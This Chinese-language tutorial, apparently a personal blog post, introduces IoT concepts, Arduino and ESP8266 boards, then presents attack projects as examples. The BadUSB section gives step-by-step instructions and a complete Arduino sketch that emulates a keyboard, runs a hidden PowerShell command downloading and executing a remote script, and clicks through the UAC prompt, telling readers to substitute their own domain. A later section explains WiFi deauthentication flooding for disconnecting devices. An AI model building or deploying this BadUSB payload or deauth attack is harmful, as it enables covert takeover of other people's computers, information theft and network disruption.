初认IOT
1.物联网,顾名思义:万物皆可联网
涉及到的相关技术:
(1)射频识别技术
谈到物联网,就不得不提到物联网发展中备受关注的射频识别技术(Radio Frequency Identification,简称RFID)。RFID是一种简单的无线系统,由一个询问器(或阅读器)和很多应答器(或标签)组成。标签由耦合元件及芯片组成,每个标签具有唯扩展词条一的电子编码,附着在物体上标识目标对象,它通过天线将射频信息传递给阅读器,阅读器就是读取信息的设备。RFID技术让物品能够“开口说话”。这就赋予了物联网一个特性即可跟踪性。就是说人们可以随时掌握物品的准确位置及其周边环境。
(2)传感网
MEMS是微机电系统( Micro - Electro - Mechanical Systems)的英文缩写。它是由微传感器、微执行器、信号处理和控制电路、通讯接口和电源等部件组成的一体化的微型器件系统。其目标是把信息的获取、处理和执行集成在一起,组成具有多功能的微型系统,集成于大尺寸系统中,从而大幅度地提高系统的自动化、智能化和可靠性水平。它是比较通用的传感器。因为MEMS,赋予了普通物体新的生命,它们有了属于自己的数据传输通路、有了存储功能、操作系统和专门的应用程序,从而形成一个庞大的传感网。这让物联网能够通过物品来实现对人的监控与保护。
(3)M2M系统框架
M2M是Machine-to-Machine/Man的简称,是一种以机器终端智能交互为核心的、网络化的应用与服务。它将使对象实现智能化的控制。M2M技术涉及5个重要的技术部分:机器、M2M硬件、通信网络、中间件、应用。基于云计算平台和智能网络,可以依据传感器网络获取的数据进行决策,改变对象的行为进行控制和反馈。
(4)云计算
云计算旨在通过网络把多个成本相对较低的计算实体整 合成一个具有强大计算能力的完美系统,并借助先进的商业 模式让终端用户可以得到这些强大计算能力的服务。
(5)大数据
在未来十年内,估计会出现约两百五十亿个网络连接设备,比个人计算机、手机和平板计算机等的数量加起来还多,这是一个很庞大的连接(有人甚至估计这个数字还要高得多,超过一千亿)。物联网是连接 “物品” 的巨大网络。这关系是在人与人、人与事、物与物之间。因此,影响物联网最大的因素之一就是数据:数据量、数据的管理和使用
一,Arduino硬件入门基础(入手最简单)
基本介绍:Arduino 是一款简单易用、便于上手的开源电子原型平台,包含硬件部分(各种符合 Arduino 规范的开发板)和软件部分(Arduino IDE和相关的开发包)。
硬件部分(或称开发板)由微控制器(MCU)、闪存(Flash)以及一组通用输入/输出接口(GPIO)等构成,你可以将它理解为是一块微型电脑主板。
软件部分则主要由PC端的 Arduino IDE 以及相关的板级支持包(BSP)和丰富的第三方函数库组成
环境多:Arduino,c/c++,lua等等
开源性:你后期想选版子的话大多不用选意大利进口的,因为盗版的功能一样,价格亲民,只是没有logo
下面是准备学习Arduino硬件的基本知识
1.1认识基础的电子元件
基础元件图片转载于:https://baijiahao.baidu.com/s?id=1647201992646793285&wfr=spider&for=pc
基础元件:
1.电阻器(变电阻器)
图片:https://ftp.bmp.ovh/imgs/2020/08/429b1e6c807a0c09.png
电阻又分成:电位器,滑动触电电位器,热敏电阻器,光敏,湿敏,压敏,气敏电阻器
2.二级管
图片;https://ftp.bmp.ovh/imgs/2020/08/8cf577b835e1d282.bmp
二极管:普通,发光,发电二极管
3.电容器
图片:https://ftp.bmp.ovh/imgs/2020/08/d4e4d8dfc413787f.bmp
电容:极性,微调,单联,多联电容
4.继电器与干簧管
图片:https://ftp.bmp.ovh/imgs/2020/08/df47fe42bee829b5.bmp
继电器:电磁继电器,干簧管
5.焊锡枪
焊锡枪:松香(助焊膏)锡线,高温海绵
1.2Arduino环境
Arduino官网:https://www.arduino.cc/ 这里下载Arduino软件
1.3选版
1.ESP8266-NodeMCU,这个版子价格亲民并支持WIFI功能(新手推荐),数字输入输出引脚10个(全部可以作为PWM引脚) 某宝几十就可以买到
ESP8266核心文档:https://pan.baidu.com/s/1bqxLxeR(转载于太极创客的网盘)
1.4基础代码
打开Arduino以后会有这个基础代码:
void setup() {
// put your setup code here, to run once:
}
void loop() {
// put your main code here, to run repeatedly:
}
分析:第一个void setup(){ } 这个代码的意思是第一个执行的命令
void loop() {} 这个是循环执行的命令
1.5代码拓展:
pinMode(LEDPin,OUTPUT); //设置引脚模式
参数1 引脚
参数2 OUTPUT 输出;INPUT
输入用在setup()函数里
digitalWrite(LEDPin,HIGH); //设置引脚输出高电平或低电平
参数1 引脚
参数2 HIGH 高电平; LOW 低电平
delay(t); 延时
单位 毫秒
delay有个缺点就是:在给定的时间间隔内是不能做其他操作
实例展示:badusb
简介
通过硬件直接插入对方电脑,让对方电脑执行代码,达到干扰、控制主机或者窃取信息等目的。
威胁
BadUSB的威胁在于:恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB的攻击。
原理
硬件知识基础
HID攻击
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
Teensy
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
攻击流程
Bad-Usb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。
硬件
1286芯片或者2303芯片的U盘,我用的是某宝70rmb的
软件
1 Arduino IDE
2 Teensyduino
http://www.pjrc.com/teensy/td_123/teensyduino.exe
下载后双击运行,安装的时候会有一步安装设备驱动,按提示安装之。
注意,安装时要求手动选择Arduino IDE的安装位置,此时选择之前步骤zip的解压目录即可。
安装成功后运行arduino.exe会发现这里有了许多可选项:
我们根据之前案例中使用的硬件,按图中所示,选择Arduino Leonardo这一项
制作过程
1 硬件连接IDE
硬件插入电脑
打开Arduino IDE
工具->版->选择“Arduino Leonardo”
工具->Port->选择“COM* (Arduino Leonardo)”
现在可以看到IDE右下角出现“Arduino Leonardo on COM*”
这里写图片描述
2 代码写入硬件
复制如下代码到IDE中(代码在后面)
这里写图片描述
将代码中的http://www.cdxy.me/main.ps1改成自己的域名
点击IDE左上角 对号图标 验证,然后点击 箭头图标 上传代码到硬件,没报错就OK了
将硬件重新插入电脑,此时会看到电脑自动执行代码的全部动画过程
void setup() {
delay(5000);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_ESC);
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://www.cdxy.me/main.ps1');");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2500);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('y');
Keyboard.releaseAll();
delay(1500);
}
void loop() {}
代码解释:
插入后等待五秒,
按下ctrl+esc,(作用:在任何界面打开开始菜单)
等待半秒,
模拟输入一个字符串,并回车执行(作用:在开始菜单执行命令)
等待2.5秒,更改焦点,模拟键盘输入y(作用:绕过uac,得到系统许可)
二.
1.1ESP8266(一个神奇的东西)
价格亲民,自带WiFi模块
ESP8266WIFI模块的主要功能
ESP8266可以实现的主要功能包括:串口透传,PWM调控,GPIO控制。
串口透传:数据传输,传输的可靠性好,最大的传输速率为:460800bps。
PWM 调控:灯光调节,三色LED调节,电机调速等。
GPIO控制:控制开关,继电器等
该模块有三种工作模式,大家可以根据自己的具体情况来选择:
STA 模式:ESP8266 模块通过路由器连接互联网,手机或电脑通过互联网实现对设备的远程控制。
AP 模式:ESP8266 模块作为热点,手机或电脑直接与模块连接,实现局域网无线控制。
STA+AP 模式:两种模式的共存模式,即可以通过互联网控制可实现无缝切换,方便操作。
对了:别忘了买面包线和面包板
1、使用AT指令进行操作:这是最常见的方式,也是最简单是一种方式。无需编程,使用PC端的串口助手配合简单的指令就可以实现,也可以配合单片机发送指令使用
2、LUA语言编程:这是一种单独8266编程的方式,可以不依靠单片机和串口调试软件,直接把程序编写到8266内部。
3、Arduino 开发环境编程:这个接触过Arduino的都会比较熟悉。可以直接在Arduino ide的环境下使用Arduino的开发方式进行开发(万恶的Arduino)
实例展示:WiFi杀手(仅供学习)
WI-FI杀手主要利用取消身份验证洪水攻击,取消身份验证洪水攻击的原理是一个 AP 连接了路由器在正常访问网络,这个时候 Hacker 利用自己电脑或者其他设备进行伪造取消身份认证的报文,路由器就会以为是 客户端发过来的需要和客户端断开连接,已经连接的设备会自动断开。
WI-FI杀手的详细工作流程如下。
(1)客户端的连接这个 WiFi 发送认证请求,AP收到然后给与客户认证响 应;
(2)客户端再发送认证请求,AP 再发送认证响应客户端传输数据给 AP;
(3)此时攻击者发送取消身份认证,客户端还是在发送数据,结果 AP Blocked(本意是此路不通)不接受客户端的数据;
(4)AP 就发送取消身份认证,客户端就断开连接了(攻击者让 AP 误以为 是客户端发送的解除认证,AP 就发送解除认证给客户端从而解除认证了),如果攻击者不停止攻击的话你怎么连接都连接不上去的。
怎么做WiFi杀手:基本就是刷固件,上后台